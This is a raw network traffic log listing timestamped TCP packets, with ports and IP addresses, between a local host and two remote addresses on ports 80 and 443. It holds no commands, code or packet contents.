Nov 20, 2024 01:18:39.265145063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265155077 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265183926 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265183926 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265208006 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265538931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265585899 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265717983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265726089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265733957 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265741110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265757084 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265763998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265763998 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265773058 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265786886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265795946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265803099 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265810966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265820026 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265832901 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265832901 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265835047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265845060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265857935 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265881062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266027927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266046047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266060114 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266067982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266076088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266092062 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266099930 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266107082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266115904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266122103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266123056 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266122103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266130924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266143084 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266149044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266158104 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266159058 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266165018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266174078 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266181946 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266182899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266197920 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266206026 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266213894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266221046 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266228914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266237974 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266241074 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266253948 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266259909 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266273022 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266280890 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266280890 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266293049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266299963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266308069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266315937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266316891 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266324043 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266331911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266340017 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266346931 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266350031 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266360044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266375065 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266379118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266383886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266401052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266410112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266417980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.266417027 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266438007 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.266458035 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267008066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267016888 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267024994 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267031908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267040014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267046928 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267062902 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267071009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267071962 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267079115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267086029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267102957 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267107964 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267111063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267119884 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267126083 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267147064 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267153025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267162085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267163992 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267201900 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267210007 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267219067 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267226934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267235994 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.267258883 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.267290115 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.271483898 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.272061110 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.272104979 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.272526026 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.272536993 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.273010969 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.273298979 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.273403883 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.273458958 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.273458958 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.273471117 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.273479939 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.276587963 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.276618958 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.276777983 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.276962042 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.276976109 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.280066967 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.280314922 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.280405998 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.280446053 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.280446053 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.280451059 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.280459881 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283076048 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283083916 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.283133030 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283154011 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283178091 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.283191919 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283226013 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.283327103 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.283327103 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.283343077 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283379078 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.283401012 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283734083 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283817053 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.283888102 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.285738945 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.285753012 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.285898924 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.286134958 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.286153078 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.309326887 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.309386015 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.309509993 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.309577942 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.309602022 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.309632063 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.309647083 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.311633110 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.311665058 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.311757088 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.311860085 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.311887026 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.370637894 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.370697021 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.370748997 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.370903969 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.370914936 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.370923996 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.370929956 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.373624086 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.373655081 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.373776913 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.373976946 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.373991966 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.481307030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.481389999 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.812683105 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.817892075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817902088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817914009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817919970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817930937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817936897 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817948103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817954063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817965984 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817971945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817977905 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817984104 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.817987919 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.817990065 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818001032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818006992 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818028927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818032026 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818033934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818046093 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818052053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818061113 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818061113 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818064928 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818072081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818084002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818090916 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818095922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818098068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818098068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818101883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818108082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818114996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818118095 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818120003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818126917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818133116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818137884 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818145990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818152905 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818160057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818161964 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818166018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818171978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818181038 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818203926 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818213940 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818221092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818239927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818245888 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818252087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818254948 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818258047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818264961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818270922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818283081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818289042 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818296909 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818300962 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818300962 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818303108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818325996 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818325996 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818387032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818393946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818404913 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818409920 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818420887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818428040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818439960 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818445921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818451881 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818459034 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818464041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818470001 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818475008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818480015 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818481922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818487883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818495035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818499088 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818520069 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818557978 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818559885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818572998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818583965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818589926 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818595886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818607092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818613052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818619013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818625927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818628073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818630934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818640947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818646908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818648100 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818653107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818660021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818667889 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818671942 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818680048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818694115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818698883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818705082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818711042 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818711996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818717957 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818725109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818731070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818730116 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818756104 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818756104 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818830967 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818840981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818847895 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818859100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818865061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818875074 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818881035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818893909 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818900108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818905115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818912029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818913937 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818917990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818931103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818936110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818942070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818948030 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818948030 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.818974018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818985939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818991899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.818998098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819004059 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819008112 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819010973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819022894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819027901 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819029093 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819042921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819045067 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819048882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819061041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819082022 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819149017 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819155931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819166899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819173098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819179058 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819185019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819190979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819190979 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819196939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819204092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819212914 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819216967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819222927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819228888 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819230080 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819236040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819247961 CET	80	49807	185.215.113.16	192.168.2.5
